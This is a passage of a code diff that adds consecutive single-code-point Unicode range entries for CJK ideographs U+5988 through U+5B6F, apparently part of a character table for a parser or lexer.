+ ["\u5988", "\u5988"], /* CJK Ideograph */
+ ["\u5989", "\u5989"], /* CJK Ideograph */
+ ["\u598A", "\u598A"], /* CJK Ideograph */
+ ["\u598B", "\u598B"], /* CJK Ideograph */
+ ["\u598C", "\u598C"], /* CJK Ideograph */
+ ["\u598D", "\u598D"], /* CJK Ideograph */
+ ["\u598E", "\u598E"], /* CJK Ideograph */
+ ["\u598F", "\u598F"], /* CJK Ideograph */
+ ["\u5990", "\u5990"], /* CJK Ideograph */
+ ["\u5991", "\u5991"], /* CJK Ideograph */
+ ["\u5992", "\u5992"], /* CJK Ideograph */
+ ["\u5993", "\u5993"], /* CJK Ideograph */
+ ["\u5994", "\u5994"], /* CJK Ideograph */
+ ["\u5995", "\u5995"], /* CJK Ideograph */
+ ["\u5996", "\u5996"], /* CJK Ideograph */
+ ["\u5997", "\u5997"], /* CJK Ideograph */
+ ["\u5998", "\u5998"], /* CJK Ideograph */
+ ["\u5999", "\u5999"], /* CJK Ideograph */
+ ["\u599A", "\u599A"], /* CJK Ideograph */
+ ["\u599B", "\u599B"], /* CJK Ideograph */
+ ["\u599C", "\u599C"], /* CJK Ideograph */
+ ["\u599D", "\u599D"], /* CJK Ideograph */
+ ["\u599E", "\u599E"], /* CJK Ideograph */
+ ["\u599F", "\u599F"], /* CJK Ideograph */
+ ["\u59A0", "\u59A0"], /* CJK Ideograph */
+ ["\u59A1", "\u59A1"], /* CJK Ideograph */
+ ["\u59A2", "\u59A2"], /* CJK Ideograph */
+ ["\u59A3", "\u59A3"], /* CJK Ideograph */
+ ["\u59A4", "\u59A4"], /* CJK Ideograph */
+ ["\u59A5", "\u59A5"], /* CJK Ideograph */
+ ["\u59A6", "\u59A6"], /* CJK Ideograph */
+ ["\u59A7", "\u59A7"], /* CJK Ideograph */
+ ["\u59A8", "\u59A8"], /* CJK Ideograph */
+ ["\u59A9", "\u59A9"], /* CJK Ideograph */
+ ["\u59AA", "\u59AA"], /* CJK Ideograph */
+ ["\u59AB", "\u59AB"], /* CJK Ideograph */
+ ["\u59AC", "\u59AC"], /* CJK Ideograph */
+ ["\u59AD", "\u59AD"], /* CJK Ideograph */
+ ["\u59AE", "\u59AE"], /* CJK Ideograph */
+ ["\u59AF", "\u59AF"], /* CJK Ideograph */
+ ["\u59B0", "\u59B0"], /* CJK Ideograph */
+ ["\u59B1", "\u59B1"], /* CJK Ideograph */
+ ["\u59B2", "\u59B2"], /* CJK Ideograph */
+ ["\u59B3", "\u59B3"], /* CJK Ideograph */
+ ["\u59B4", "\u59B4"], /* CJK Ideograph */
+ ["\u59B5", "\u59B5"], /* CJK Ideograph */
+ ["\u59B6", "\u59B6"], /* CJK Ideograph */
+ ["\u59B7", "\u59B7"], /* CJK Ideograph */
+ ["\u59B8", "\u59B8"], /* CJK Ideograph */
+ ["\u59B9", "\u59B9"], /* CJK Ideograph */
+ ["\u59BA", "\u59BA"], /* CJK Ideograph */
+ ["\u59BB", "\u59BB"], /* CJK Ideograph */
+ ["\u59BC", "\u59BC"], /* CJK Ideograph */
+ ["\u59BD", "\u59BD"], /* CJK Ideograph */
+ ["\u59BE", "\u59BE"], /* CJK Ideograph */
+ ["\u59BF", "\u59BF"], /* CJK Ideograph */
+ ["\u59C0", "\u59C0"], /* CJK Ideograph */
+ ["\u59C1", "\u59C1"], /* CJK Ideograph */
+ ["\u59C2", "\u59C2"], /* CJK Ideograph */
+ ["\u59C3", "\u59C3"], /* CJK Ideograph */
+ ["\u59C4", "\u59C4"], /* CJK Ideograph */
+ ["\u59C5", "\u59C5"], /* CJK Ideograph */
+ ["\u59C6", "\u59C6"], /* CJK Ideograph */
+ ["\u59C7", "\u59C7"], /* CJK Ideograph */
+ ["\u59C8", "\u59C8"], /* CJK Ideograph */
+ ["\u59C9", "\u59C9"], /* CJK Ideograph */
+ ["\u59CA", "\u59CA"], /* CJK Ideograph */
+ ["\u59CB", "\u59CB"], /* CJK Ideograph */
+ ["\u59CC", "\u59CC"], /* CJK Ideograph */
+ ["\u59CD", "\u59CD"], /* CJK Ideograph */
+ ["\u59CE", "\u59CE"], /* CJK Ideograph */
+ ["\u59CF", "\u59CF"], /* CJK Ideograph */
+ ["\u59D0", "\u59D0"], /* CJK Ideograph */
+ ["\u59D1", "\u59D1"], /* CJK Ideograph */
+ ["\u59D2", "\u59D2"], /* CJK Ideograph */
+ ["\u59D3", "\u59D3"], /* CJK Ideograph */
+ ["\u59D4", "\u59D4"], /* CJK Ideograph */
+ ["\u59D5", "\u59D5"], /* CJK Ideograph */
+ ["\u59D6", "\u59D6"], /* CJK Ideograph */
+ ["\u59D7", "\u59D7"], /* CJK Ideograph */
+ ["\u59D8", "\u59D8"], /* CJK Ideograph */
+ ["\u59D9", "\u59D9"], /* CJK Ideograph */
+ ["\u59DA", "\u59DA"], /* CJK Ideograph */
+ ["\u59DB", "\u59DB"], /* CJK Ideograph */
+ ["\u59DC", "\u59DC"], /* CJK Ideograph */
+ ["\u59DD", "\u59DD"], /* CJK Ideograph */
+ ["\u59DE", "\u59DE"], /* CJK Ideograph */
+ ["\u59DF", "\u59DF"], /* CJK Ideograph */
+ ["\u59E0", "\u59E0"], /* CJK Ideograph */
+ ["\u59E1", "\u59E1"], /* CJK Ideograph */
+ ["\u59E2", "\u59E2"], /* CJK Ideograph */
+ ["\u59E3", "\u59E3"], /* CJK Ideograph */
+ ["\u59E4", "\u59E4"], /* CJK Ideograph */
+ ["\u59E5", "\u59E5"], /* CJK Ideograph */
+ ["\u59E6", "\u59E6"], /* CJK Ideograph */
+ ["\u59E7", "\u59E7"], /* CJK Ideograph */
+ ["\u59E8", "\u59E8"], /* CJK Ideograph */
+ ["\u59E9", "\u59E9"], /* CJK Ideograph */
+ ["\u59EA", "\u59EA"], /* CJK Ideograph */
+ ["\u59EB", "\u59EB"], /* CJK Ideograph */
+ ["\u59EC", "\u59EC"], /* CJK Ideograph */
+ ["\u59ED", "\u59ED"], /* CJK Ideograph */
+ ["\u59EE", "\u59EE"], /* CJK Ideograph */
+ ["\u59EF", "\u59EF"], /* CJK Ideograph */
+ ["\u59F0", "\u59F0"], /* CJK Ideograph */
+ ["\u59F1", "\u59F1"], /* CJK Ideograph */
+ ["\u59F2", "\u59F2"], /* CJK Ideograph */
+ ["\u59F3", "\u59F3"], /* CJK Ideograph */
+ ["\u59F4", "\u59F4"], /* CJK Ideograph */
+ ["\u59F5", "\u59F5"], /* CJK Ideograph */
+ ["\u59F6", "\u59F6"], /* CJK Ideograph */
+ ["\u59F7", "\u59F7"], /* CJK Ideograph */
+ ["\u59F8", "\u59F8"], /* CJK Ideograph */
+ ["\u59F9", "\u59F9"], /* CJK Ideograph */
+ ["\u59FA", "\u59FA"], /* CJK Ideograph */
+ ["\u59FB", "\u59FB"], /* CJK Ideograph */
+ ["\u59FC", "\u59FC"], /* CJK Ideograph */
+ ["\u59FD", "\u59FD"], /* CJK Ideograph */
+ ["\u59FE", "\u59FE"], /* CJK Ideograph */
+ ["\u59FF", "\u59FF"], /* CJK Ideograph */
+ ["\u5A00", "\u5A00"], /* CJK Ideograph */
+ ["\u5A01", "\u5A01"], /* CJK Ideograph */
+ ["\u5A02", "\u5A02"], /* CJK Ideograph */
+ ["\u5A03", "\u5A03"], /* CJK Ideograph */
+ ["\u5A04", "\u5A04"], /* CJK Ideograph */
+ ["\u5A05", "\u5A05"], /* CJK Ideograph */
+ ["\u5A06", "\u5A06"], /* CJK Ideograph */
+ ["\u5A07", "\u5A07"], /* CJK Ideograph */
+ ["\u5A08", "\u5A08"], /* CJK Ideograph */
+ ["\u5A09", "\u5A09"], /* CJK Ideograph */
+ ["\u5A0A", "\u5A0A"], /* CJK Ideograph */
+ ["\u5A0B", "\u5A0B"], /* CJK Ideograph */
+ ["\u5A0C", "\u5A0C"], /* CJK Ideograph */
+ ["\u5A0D", "\u5A0D"], /* CJK Ideograph */
+ ["\u5A0E", "\u5A0E"], /* CJK Ideograph */
+ ["\u5A0F", "\u5A0F"], /* CJK Ideograph */
+ ["\u5A10", "\u5A10"], /* CJK Ideograph */
+ ["\u5A11", "\u5A11"], /* CJK Ideograph */
+ ["\u5A12", "\u5A12"], /* CJK Ideograph */
+ ["\u5A13", "\u5A13"], /* CJK Ideograph */
+ ["\u5A14", "\u5A14"], /* CJK Ideograph */
+ ["\u5A15", "\u5A15"], /* CJK Ideograph */
+ ["\u5A16", "\u5A16"], /* CJK Ideograph */
+ ["\u5A17", "\u5A17"], /* CJK Ideograph */
+ ["\u5A18", "\u5A18"], /* CJK Ideograph */
+ ["\u5A19", "\u5A19"], /* CJK Ideograph */
+ ["\u5A1A", "\u5A1A"], /* CJK Ideograph */
+ ["\u5A1B", "\u5A1B"], /* CJK Ideograph */
+ ["\u5A1C", "\u5A1C"], /* CJK Ideograph */
+ ["\u5A1D", "\u5A1D"], /* CJK Ideograph */
+ ["\u5A1E", "\u5A1E"], /* CJK Ideograph */
+ ["\u5A1F", "\u5A1F"], /* CJK Ideograph */
+ ["\u5A20", "\u5A20"], /* CJK Ideograph */
+ ["\u5A21", "\u5A21"], /* CJK Ideograph */
+ ["\u5A22", "\u5A22"], /* CJK Ideograph */
+ ["\u5A23", "\u5A23"], /* CJK Ideograph */
+ ["\u5A24", "\u5A24"], /* CJK Ideograph */
+ ["\u5A25", "\u5A25"], /* CJK Ideograph */
+ ["\u5A26", "\u5A26"], /* CJK Ideograph */
+ ["\u5A27", "\u5A27"], /* CJK Ideograph */
+ ["\u5A28", "\u5A28"], /* CJK Ideograph */
+ ["\u5A29", "\u5A29"], /* CJK Ideograph */
+ ["\u5A2A", "\u5A2A"], /* CJK Ideograph */
+ ["\u5A2B", "\u5A2B"], /* CJK Ideograph */
+ ["\u5A2C", "\u5A2C"], /* CJK Ideograph */
+ ["\u5A2D", "\u5A2D"], /* CJK Ideograph */
+ ["\u5A2E", "\u5A2E"], /* CJK Ideograph */
+ ["\u5A2F", "\u5A2F"], /* CJK Ideograph */
+ ["\u5A30", "\u5A30"], /* CJK Ideograph */
+ ["\u5A31", "\u5A31"], /* CJK Ideograph */
+ ["\u5A32", "\u5A32"], /* CJK Ideograph */
+ ["\u5A33", "\u5A33"], /* CJK Ideograph */
+ ["\u5A34", "\u5A34"], /* CJK Ideograph */
+ ["\u5A35", "\u5A35"], /* CJK Ideograph */
+ ["\u5A36", "\u5A36"], /* CJK Ideograph */
+ ["\u5A37", "\u5A37"], /* CJK Ideograph */
+ ["\u5A38", "\u5A38"], /* CJK Ideograph */
+ ["\u5A39", "\u5A39"], /* CJK Ideograph */
+ ["\u5A3A", "\u5A3A"], /* CJK Ideograph */
+ ["\u5A3B", "\u5A3B"], /* CJK Ideograph */
+ ["\u5A3C", "\u5A3C"], /* CJK Ideograph */
+ ["\u5A3D", "\u5A3D"], /* CJK Ideograph */
+ ["\u5A3E", "\u5A3E"], /* CJK Ideograph */
+ ["\u5A3F", "\u5A3F"], /* CJK Ideograph */
+ ["\u5A40", "\u5A40"], /* CJK Ideograph */
+ ["\u5A41", "\u5A41"], /* CJK Ideograph */
+ ["\u5A42", "\u5A42"], /* CJK Ideograph */
+ ["\u5A43", "\u5A43"], /* CJK Ideograph */
+ ["\u5A44", "\u5A44"], /* CJK Ideograph */
+ ["\u5A45", "\u5A45"], /* CJK Ideograph */
+ ["\u5A46", "\u5A46"], /* CJK Ideograph */
+ ["\u5A47", "\u5A47"], /* CJK Ideograph */
+ ["\u5A48", "\u5A48"], /* CJK Ideograph */
+ ["\u5A49", "\u5A49"], /* CJK Ideograph */
+ ["\u5A4A", "\u5A4A"], /* CJK Ideograph */
+ ["\u5A4B", "\u5A4B"], /* CJK Ideograph */
+ ["\u5A4C", "\u5A4C"], /* CJK Ideograph */
+ ["\u5A4D", "\u5A4D"], /* CJK Ideograph */
+ ["\u5A4E", "\u5A4E"], /* CJK Ideograph */
+ ["\u5A4F", "\u5A4F"], /* CJK Ideograph */
+ ["\u5A50", "\u5A50"], /* CJK Ideograph */
+ ["\u5A51", "\u5A51"], /* CJK Ideograph */
+ ["\u5A52", "\u5A52"], /* CJK Ideograph */
+ ["\u5A53", "\u5A53"], /* CJK Ideograph */
+ ["\u5A54", "\u5A54"], /* CJK Ideograph */
+ ["\u5A55", "\u5A55"], /* CJK Ideograph */
+ ["\u5A56", "\u5A56"], /* CJK Ideograph */
+ ["\u5A57", "\u5A57"], /* CJK Ideograph */
+ ["\u5A58", "\u5A58"], /* CJK Ideograph */
+ ["\u5A59", "\u5A59"], /* CJK Ideograph */
+ ["\u5A5A", "\u5A5A"], /* CJK Ideograph */
+ ["\u5A5B", "\u5A5B"], /* CJK Ideograph */
+ ["\u5A5C", "\u5A5C"], /* CJK Ideograph */
+ ["\u5A5D", "\u5A5D"], /* CJK Ideograph */
+ ["\u5A5E", "\u5A5E"], /* CJK Ideograph */
+ ["\u5A5F", "\u5A5F"], /* CJK Ideograph */
+ ["\u5A60", "\u5A60"], /* CJK Ideograph */
+ ["\u5A61", "\u5A61"], /* CJK Ideograph */
+ ["\u5A62", "\u5A62"], /* CJK Ideograph */
+ ["\u5A63", "\u5A63"], /* CJK Ideograph */
+ ["\u5A64", "\u5A64"], /* CJK Ideograph */
+ ["\u5A65", "\u5A65"], /* CJK Ideograph */
+ ["\u5A66", "\u5A66"], /* CJK Ideograph */
+ ["\u5A67", "\u5A67"], /* CJK Ideograph */
+ ["\u5A68", "\u5A68"], /* CJK Ideograph */
+ ["\u5A69", "\u5A69"], /* CJK Ideograph */
+ ["\u5A6A", "\u5A6A"], /* CJK Ideograph */
+ ["\u5A6B", "\u5A6B"], /* CJK Ideograph */
+ ["\u5A6C", "\u5A6C"], /* CJK Ideograph */
+ ["\u5A6D", "\u5A6D"], /* CJK Ideograph */
+ ["\u5A6E", "\u5A6E"], /* CJK Ideograph */
+ ["\u5A6F", "\u5A6F"], /* CJK Ideograph */
+ ["\u5A70", "\u5A70"], /* CJK Ideograph */
+ ["\u5A71", "\u5A71"], /* CJK Ideograph */
+ ["\u5A72", "\u5A72"], /* CJK Ideograph */
+ ["\u5A73", "\u5A73"], /* CJK Ideograph */
+ ["\u5A74", "\u5A74"], /* CJK Ideograph */
+ ["\u5A75", "\u5A75"], /* CJK Ideograph */
+ ["\u5A76", "\u5A76"], /* CJK Ideograph */
+ ["\u5A77", "\u5A77"], /* CJK Ideograph */
+ ["\u5A78", "\u5A78"], /* CJK Ideograph */
+ ["\u5A79", "\u5A79"], /* CJK Ideograph */
+ ["\u5A7A", "\u5A7A"], /* CJK Ideograph */
+ ["\u5A7B", "\u5A7B"], /* CJK Ideograph */
+ ["\u5A7C", "\u5A7C"], /* CJK Ideograph */
+ ["\u5A7D", "\u5A7D"], /* CJK Ideograph */
+ ["\u5A7E", "\u5A7E"], /* CJK Ideograph */
+ ["\u5A7F", "\u5A7F"], /* CJK Ideograph */
+ ["\u5A80", "\u5A80"], /* CJK Ideograph */
+ ["\u5A81", "\u5A81"], /* CJK Ideograph */
+ ["\u5A82", "\u5A82"], /* CJK Ideograph */
+ ["\u5A83", "\u5A83"], /* CJK Ideograph */
+ ["\u5A84", "\u5A84"], /* CJK Ideograph */
+ ["\u5A85", "\u5A85"], /* CJK Ideograph */
+ ["\u5A86", "\u5A86"], /* CJK Ideograph */
+ ["\u5A87", "\u5A87"], /* CJK Ideograph */
+ ["\u5A88", "\u5A88"], /* CJK Ideograph */
+ ["\u5A89", "\u5A89"], /* CJK Ideograph */
+ ["\u5A8A", "\u5A8A"], /* CJK Ideograph */
+ ["\u5A8B", "\u5A8B"], /* CJK Ideograph */
+ ["\u5A8C", "\u5A8C"], /* CJK Ideograph */
+ ["\u5A8D", "\u5A8D"], /* CJK Ideograph */
+ ["\u5A8E", "\u5A8E"], /* CJK Ideograph */
+ ["\u5A8F", "\u5A8F"], /* CJK Ideograph */
+ ["\u5A90", "\u5A90"], /* CJK Ideograph */
+ ["\u5A91", "\u5A91"], /* CJK Ideograph */
+ ["\u5A92", "\u5A92"], /* CJK Ideograph */
+ ["\u5A93", "\u5A93"], /* CJK Ideograph */
+ ["\u5A94", "\u5A94"], /* CJK Ideograph */
+ ["\u5A95", "\u5A95"], /* CJK Ideograph */
+ ["\u5A96", "\u5A96"], /* CJK Ideograph */
+ ["\u5A97", "\u5A97"], /* CJK Ideograph */
+ ["\u5A98", "\u5A98"], /* CJK Ideograph */
+ ["\u5A99", "\u5A99"], /* CJK Ideograph */
+ ["\u5A9A", "\u5A9A"], /* CJK Ideograph */
+ ["\u5A9B", "\u5A9B"], /* CJK Ideograph */
+ ["\u5A9C", "\u5A9C"], /* CJK Ideograph */
+ ["\u5A9D", "\u5A9D"], /* CJK Ideograph */
+ ["\u5A9E", "\u5A9E"], /* CJK Ideograph */
+ ["\u5A9F", "\u5A9F"], /* CJK Ideograph */
+ ["\u5AA0", "\u5AA0"], /* CJK Ideograph */
+ ["\u5AA1", "\u5AA1"], /* CJK Ideograph */
+ ["\u5AA2", "\u5AA2"], /* CJK Ideograph */
+ ["\u5AA3", "\u5AA3"], /* CJK Ideograph */
+ ["\u5AA4", "\u5AA4"], /* CJK Ideograph */
+ ["\u5AA5", "\u5AA5"], /* CJK Ideograph */
+ ["\u5AA6", "\u5AA6"], /* CJK Ideograph */
+ ["\u5AA7", "\u5AA7"], /* CJK Ideograph */
+ ["\u5AA8", "\u5AA8"], /* CJK Ideograph */
+ ["\u5AA9", "\u5AA9"], /* CJK Ideograph */
+ ["\u5AAA", "\u5AAA"], /* CJK Ideograph */
+ ["\u5AAB", "\u5AAB"], /* CJK Ideograph */
+ ["\u5AAC", "\u5AAC"], /* CJK Ideograph */
+ ["\u5AAD", "\u5AAD"], /* CJK Ideograph */
+ ["\u5AAE", "\u5AAE"], /* CJK Ideograph */
+ ["\u5AAF", "\u5AAF"], /* CJK Ideograph */
+ ["\u5AB0", "\u5AB0"], /* CJK Ideograph */
+ ["\u5AB1", "\u5AB1"], /* CJK Ideograph */
+ ["\u5AB2", "\u5AB2"], /* CJK Ideograph */
+ ["\u5AB3", "\u5AB3"], /* CJK Ideograph */
+ ["\u5AB4", "\u5AB4"], /* CJK Ideograph */
+ ["\u5AB5", "\u5AB5"], /* CJK Ideograph */
+ ["\u5AB6", "\u5AB6"], /* CJK Ideograph */
+ ["\u5AB7", "\u5AB7"], /* CJK Ideograph */
+ ["\u5AB8", "\u5AB8"], /* CJK Ideograph */
+ ["\u5AB9", "\u5AB9"], /* CJK Ideograph */
+ ["\u5ABA", "\u5ABA"], /* CJK Ideograph */
+ ["\u5ABB", "\u5ABB"], /* CJK Ideograph */
+ ["\u5ABC", "\u5ABC"], /* CJK Ideograph */
+ ["\u5ABD", "\u5ABD"], /* CJK Ideograph */
+ ["\u5ABE", "\u5ABE"], /* CJK Ideograph */
+ ["\u5ABF", "\u5ABF"], /* CJK Ideograph */
+ ["\u5AC0", "\u5AC0"], /* CJK Ideograph */
+ ["\u5AC1", "\u5AC1"], /* CJK Ideograph */
+ ["\u5AC2", "\u5AC2"], /* CJK Ideograph */
+ ["\u5AC3", "\u5AC3"], /* CJK Ideograph */
+ ["\u5AC4", "\u5AC4"], /* CJK Ideograph */
+ ["\u5AC5", "\u5AC5"], /* CJK Ideograph */
+ ["\u5AC6", "\u5AC6"], /* CJK Ideograph */
+ ["\u5AC7", "\u5AC7"], /* CJK Ideograph */
+ ["\u5AC8", "\u5AC8"], /* CJK Ideograph */
+ ["\u5AC9", "\u5AC9"], /* CJK Ideograph */
+ ["\u5ACA", "\u5ACA"], /* CJK Ideograph */
+ ["\u5ACB", "\u5ACB"], /* CJK Ideograph */
+ ["\u5ACC", "\u5ACC"], /* CJK Ideograph */
+ ["\u5ACD", "\u5ACD"], /* CJK Ideograph */
+ ["\u5ACE", "\u5ACE"], /* CJK Ideograph */
+ ["\u5ACF", "\u5ACF"], /* CJK Ideograph */
+ ["\u5AD0", "\u5AD0"], /* CJK Ideograph */
+ ["\u5AD1", "\u5AD1"], /* CJK Ideograph */
+ ["\u5AD2", "\u5AD2"], /* CJK Ideograph */
+ ["\u5AD3", "\u5AD3"], /* CJK Ideograph */
+ ["\u5AD4", "\u5AD4"], /* CJK Ideograph */
+ ["\u5AD5", "\u5AD5"], /* CJK Ideograph */
+ ["\u5AD6", "\u5AD6"], /* CJK Ideograph */
+ ["\u5AD7", "\u5AD7"], /* CJK Ideograph */
+ ["\u5AD8", "\u5AD8"], /* CJK Ideograph */
+ ["\u5AD9", "\u5AD9"], /* CJK Ideograph */
+ ["\u5ADA", "\u5ADA"], /* CJK Ideograph */
+ ["\u5ADB", "\u5ADB"], /* CJK Ideograph */
+ ["\u5ADC", "\u5ADC"], /* CJK Ideograph */
+ ["\u5ADD", "\u5ADD"], /* CJK Ideograph */
+ ["\u5ADE", "\u5ADE"], /* CJK Ideograph */
+ ["\u5ADF", "\u5ADF"], /* CJK Ideograph */
+ ["\u5AE0", "\u5AE0"], /* CJK Ideograph */
+ ["\u5AE1", "\u5AE1"], /* CJK Ideograph */
+ ["\u5AE2", "\u5AE2"], /* CJK Ideograph */
+ ["\u5AE3", "\u5AE3"], /* CJK Ideograph */
+ ["\u5AE4", "\u5AE4"], /* CJK Ideograph */
+ ["\u5AE5", "\u5AE5"], /* CJK Ideograph */
+ ["\u5AE6", "\u5AE6"], /* CJK Ideograph */
+ ["\u5AE7", "\u5AE7"], /* CJK Ideograph */
+ ["\u5AE8", "\u5AE8"], /* CJK Ideograph */
+ ["\u5AE9", "\u5AE9"], /* CJK Ideograph */
+ ["\u5AEA", "\u5AEA"], /* CJK Ideograph */
+ ["\u5AEB", "\u5AEB"], /* CJK Ideograph */
+ ["\u5AEC", "\u5AEC"], /* CJK Ideograph */
+ ["\u5AED", "\u5AED"], /* CJK Ideograph */
+ ["\u5AEE", "\u5AEE"], /* CJK Ideograph */
+ ["\u5AEF", "\u5AEF"], /* CJK Ideograph */
+ ["\u5AF0", "\u5AF0"], /* CJK Ideograph */
+ ["\u5AF1", "\u5AF1"], /* CJK Ideograph */
+ ["\u5AF2", "\u5AF2"], /* CJK Ideograph */
+ ["\u5AF3", "\u5AF3"], /* CJK Ideograph */
+ ["\u5AF4", "\u5AF4"], /* CJK Ideograph */
+ ["\u5AF5", "\u5AF5"], /* CJK Ideograph */
+ ["\u5AF6", "\u5AF6"], /* CJK Ideograph */
+ ["\u5AF7", "\u5AF7"], /* CJK Ideograph */
+ ["\u5AF8", "\u5AF8"], /* CJK Ideograph */
+ ["\u5AF9", "\u5AF9"], /* CJK Ideograph */
+ ["\u5AFA", "\u5AFA"], /* CJK Ideograph */
+ ["\u5AFB", "\u5AFB"], /* CJK Ideograph */
+ ["\u5AFC", "\u5AFC"], /* CJK Ideograph */
+ ["\u5AFD", "\u5AFD"], /* CJK Ideograph */
+ ["\u5AFE", "\u5AFE"], /* CJK Ideograph */
+ ["\u5AFF", "\u5AFF"], /* CJK Ideograph */
+ ["\u5B00", "\u5B00"], /* CJK Ideograph */
+ ["\u5B01", "\u5B01"], /* CJK Ideograph */
+ ["\u5B02", "\u5B02"], /* CJK Ideograph */
+ ["\u5B03", "\u5B03"], /* CJK Ideograph */
+ ["\u5B04", "\u5B04"], /* CJK Ideograph */
+ ["\u5B05", "\u5B05"], /* CJK Ideograph */
+ ["\u5B06", "\u5B06"], /* CJK Ideograph */
+ ["\u5B07", "\u5B07"], /* CJK Ideograph */
+ ["\u5B08", "\u5B08"], /* CJK Ideograph */
+ ["\u5B09", "\u5B09"], /* CJK Ideograph */
+ ["\u5B0A", "\u5B0A"], /* CJK Ideograph */
+ ["\u5B0B", "\u5B0B"], /* CJK Ideograph */
+ ["\u5B0C", "\u5B0C"], /* CJK Ideograph */
+ ["\u5B0D", "\u5B0D"], /* CJK Ideograph */
+ ["\u5B0E", "\u5B0E"], /* CJK Ideograph */
+ ["\u5B0F", "\u5B0F"], /* CJK Ideograph */
+ ["\u5B10", "\u5B10"], /* CJK Ideograph */
+ ["\u5B11", "\u5B11"], /* CJK Ideograph */
+ ["\u5B12", "\u5B12"], /* CJK Ideograph */
+ ["\u5B13", "\u5B13"], /* CJK Ideograph */
+ ["\u5B14", "\u5B14"], /* CJK Ideograph */
+ ["\u5B15", "\u5B15"], /* CJK Ideograph */
+ ["\u5B16", "\u5B16"], /* CJK Ideograph */
+ ["\u5B17", "\u5B17"], /* CJK Ideograph */
+ ["\u5B18", "\u5B18"], /* CJK Ideograph */
+ ["\u5B19", "\u5B19"], /* CJK Ideograph */
+ ["\u5B1A", "\u5B1A"], /* CJK Ideograph */
+ ["\u5B1B", "\u5B1B"], /* CJK Ideograph */
+ ["\u5B1C", "\u5B1C"], /* CJK Ideograph */
+ ["\u5B1D", "\u5B1D"], /* CJK Ideograph */
+ ["\u5B1E", "\u5B1E"], /* CJK Ideograph */
+ ["\u5B1F", "\u5B1F"], /* CJK Ideograph */
+ ["\u5B20", "\u5B20"], /* CJK Ideograph */
+ ["\u5B21", "\u5B21"], /* CJK Ideograph */
+ ["\u5B22", "\u5B22"], /* CJK Ideograph */
+ ["\u5B23", "\u5B23"], /* CJK Ideograph */
+ ["\u5B24", "\u5B24"], /* CJK Ideograph */
+ ["\u5B25", "\u5B25"], /* CJK Ideograph */
+ ["\u5B26", "\u5B26"], /* CJK Ideograph */
+ ["\u5B27", "\u5B27"], /* CJK Ideograph */
+ ["\u5B28", "\u5B28"], /* CJK Ideograph */
+ ["\u5B29", "\u5B29"], /* CJK Ideograph */
+ ["\u5B2A", "\u5B2A"], /* CJK Ideograph */
+ ["\u5B2B", "\u5B2B"], /* CJK Ideograph */
+ ["\u5B2C", "\u5B2C"], /* CJK Ideograph */
+ ["\u5B2D", "\u5B2D"], /* CJK Ideograph */
+ ["\u5B2E", "\u5B2E"], /* CJK Ideograph */
+ ["\u5B2F", "\u5B2F"], /* CJK Ideograph */
+ ["\u5B30", "\u5B30"], /* CJK Ideograph */
+ ["\u5B31", "\u5B31"], /* CJK Ideograph */
+ ["\u5B32", "\u5B32"], /* CJK Ideograph */
+ ["\u5B33", "\u5B33"], /* CJK Ideograph */
+ ["\u5B34", "\u5B34"], /* CJK Ideograph */
+ ["\u5B35", "\u5B35"], /* CJK Ideograph */
+ ["\u5B36", "\u5B36"], /* CJK Ideograph */
+ ["\u5B37", "\u5B37"], /* CJK Ideograph */
+ ["\u5B38", "\u5B38"], /* CJK Ideograph */
+ ["\u5B39", "\u5B39"], /* CJK Ideograph */
+ ["\u5B3A", "\u5B3A"], /* CJK Ideograph */
+ ["\u5B3B", "\u5B3B"], /* CJK Ideograph */
+ ["\u5B3C", "\u5B3C"], /* CJK Ideograph */
+ ["\u5B3D", "\u5B3D"], /* CJK Ideograph */
+ ["\u5B3E", "\u5B3E"], /* CJK Ideograph */
+ ["\u5B3F", "\u5B3F"], /* CJK Ideograph */
+ ["\u5B40", "\u5B40"], /* CJK Ideograph */
+ ["\u5B41", "\u5B41"], /* CJK Ideograph */
+ ["\u5B42", "\u5B42"], /* CJK Ideograph */
+ ["\u5B43", "\u5B43"], /* CJK Ideograph */
+ ["\u5B44", "\u5B44"], /* CJK Ideograph */
+ ["\u5B45", "\u5B45"], /* CJK Ideograph */
+ ["\u5B46", "\u5B46"], /* CJK Ideograph */
+ ["\u5B47", "\u5B47"], /* CJK Ideograph */
+ ["\u5B48", "\u5B48"], /* CJK Ideograph */
+ ["\u5B49", "\u5B49"], /* CJK Ideograph */
+ ["\u5B4A", "\u5B4A"], /* CJK Ideograph */
+ ["\u5B4B", "\u5B4B"], /* CJK Ideograph */
+ ["\u5B4C", "\u5B4C"], /* CJK Ideograph */
+ ["\u5B4D", "\u5B4D"], /* CJK Ideograph */
+ ["\u5B4E", "\u5B4E"], /* CJK Ideograph */
+ ["\u5B4F", "\u5B4F"], /* CJK Ideograph */
+ ["\u5B50", "\u5B50"], /* CJK Ideograph */
+ ["\u5B51", "\u5B51"], /* CJK Ideograph */
+ ["\u5B52", "\u5B52"], /* CJK Ideograph */
+ ["\u5B53", "\u5B53"], /* CJK Ideograph */
+ ["\u5B54", "\u5B54"], /* CJK Ideograph */
+ ["\u5B55", "\u5B55"], /* CJK Ideograph */
+ ["\u5B56", "\u5B56"], /* CJK Ideograph */
+ ["\u5B57", "\u5B57"], /* CJK Ideograph */
+ ["\u5B58", "\u5B58"], /* CJK Ideograph */
+ ["\u5B59", "\u5B59"], /* CJK Ideograph */
+ ["\u5B5A", "\u5B5A"], /* CJK Ideograph */
+ ["\u5B5B", "\u5B5B"], /* CJK Ideograph */
+ ["\u5B5C", "\u5B5C"], /* CJK Ideograph */
+ ["\u5B5D", "\u5B5D"], /* CJK Ideograph */
+ ["\u5B5E", "\u5B5E"], /* CJK Ideograph */
+ ["\u5B5F", "\u5B5F"], /* CJK Ideograph */
+ ["\u5B60", "\u5B60"], /* CJK Ideograph */
+ ["\u5B61", "\u5B61"], /* CJK Ideograph */
+ ["\u5B62", "\u5B62"], /* CJK Ideograph */
+ ["\u5B63", "\u5B63"], /* CJK Ideograph */
+ ["\u5B64", "\u5B64"], /* CJK Ideograph */
+ ["\u5B65", "\u5B65"], /* CJK Ideograph */
+ ["\u5B66", "\u5B66"], /* CJK Ideograph */
+ ["\u5B67", "\u5B67"], /* CJK Ideograph */
+ ["\u5B68", "\u5B68"], /* CJK Ideograph */
+ ["\u5B69", "\u5B69"], /* CJK Ideograph */
+ ["\u5B6A", "\u5B6A"], /* CJK Ideograph */
+ ["\u5B6B", "\u5B6B"], /* CJK Ideograph */
+ ["\u5B6C", "\u5B6C"], /* CJK Ideograph */
+ ["\u5B6D", "\u5B6D"], /* CJK Ideograph */
+ ["\u5B6E", "\u5B6E"], /* CJK Ideograph */
+ ["\u5B6F", "\u5B6F"], /* CJK Ideograph */
